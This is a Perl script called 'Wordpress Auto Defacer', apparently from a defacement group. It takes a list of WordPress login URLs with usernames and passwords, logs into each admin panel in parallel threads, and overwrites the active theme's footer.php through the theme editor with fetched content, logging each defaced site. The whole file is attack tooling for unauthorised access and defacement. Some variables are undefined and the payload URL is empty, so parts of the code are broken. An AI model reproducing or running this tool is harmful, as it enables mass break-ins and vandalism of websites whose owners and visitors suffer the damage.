wp_deface2

#!/usr/bin/perl
# m-a_labz
# WwW.janissaries.OrG
use threads;
use threads::shared;
use WWW::Mechanize;
use Term::ANSIColor;
use Win32::Console::ANSI;
use HTTP::Request;
use LWP::Simple;
#Threads Nember :)
my $threads = 5;

my $ua = LWP::UserAgent->new;
$ua->timeout(15);
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');
my @infos : shared;
print color("bold red"), q{
[+] Wordpress Auto Defacer + Threads ;)
[+]               www.janissaries.org
};print color("reset");
print "\n[.] Starting...\n";
GetInfo();
Deface_Wp();
while (threads->list) {}

sub GetInfo {
        open( DOM, "info.txt" ) or die "$!\n";
        while( defined( my $line_ = <DOM> ) ) {
                chomp( $line_ );
                push( @infos, $line_ );
        }
        close( DOM );
}
sub Deface_Wp {
        foreach my $info( @infos ) {
                my  $ctr = 0;
                foreach my $thr ( threads->list ) { $ctr++; }
                if ($ctr < $threads){
                        threads->create( \&Index_Chang,$info );
                }
                else { redo; }
        }
}
sub Index_Chang {
my $info = shift;
chomp( $info );
@d1 = split(/\@/, $info);
@inf = split(/:/, @d1[1]);
@ur = split(/wp-login/, @d1[0]);
$wp = "http://".@d1[0];
print $wp."\n\n";
$mech = WWW::Mechanize->new();
$mech->timeout(30);
$mech->get($wp) or die "[-] can't connect :(\n";
$mech->submit_form(
form_id => "loginform",
fields=> {
log => @inf[0],
pwd  => @inf[1]
 }
);
$result = $mech->content;
if($result =~ /wp-admin\/admin-ajax\.php/)
{
print "              => Done  Log in ;)\n";
        my $requestweb = HTTP::Request->new(GET=>$url);
        my $responseweb = $ua->request($requestweb);
        if ($responseweb->content=~/wp-content\/themes\/(.*?)\//g){
        my $theme = $1;
        chomp ($theme);

$tt = $url."wp-admin/theme-editor.php?file=footer.php&theme=$theme";
print "              --> Theme = $theme\n";
my $index = $ua->get("")->content;
my $index = unpack "H*","".$index."";
$shell = pack "H*", "".$index."";
$mech->get($tt) or die "[-] can't connect :(\n";
$mech->submit_form(
form_id => "template",
form_name => "template",
fields=> {
newcontent => $shell,
 }
);
if($mech->success)
{
print "              --> Done Defacing in ($theme)\n\n";
                                open(BB,">>wpdeface.txt");
                                print BB $url."wp-content/themes/".$theme."/footer.php\n";
                                close(BB);
}
else {
print "              [-] Can't Defacing\n\n";
}
}
else
{
print "              [-] Can't Getting Theme Name ! \n\n";
}
}else {
print color("bold white"), $n."/".$tn;
print color 'reset';
print "  [-] $D [not suported]\n";
}
threads->detach();
}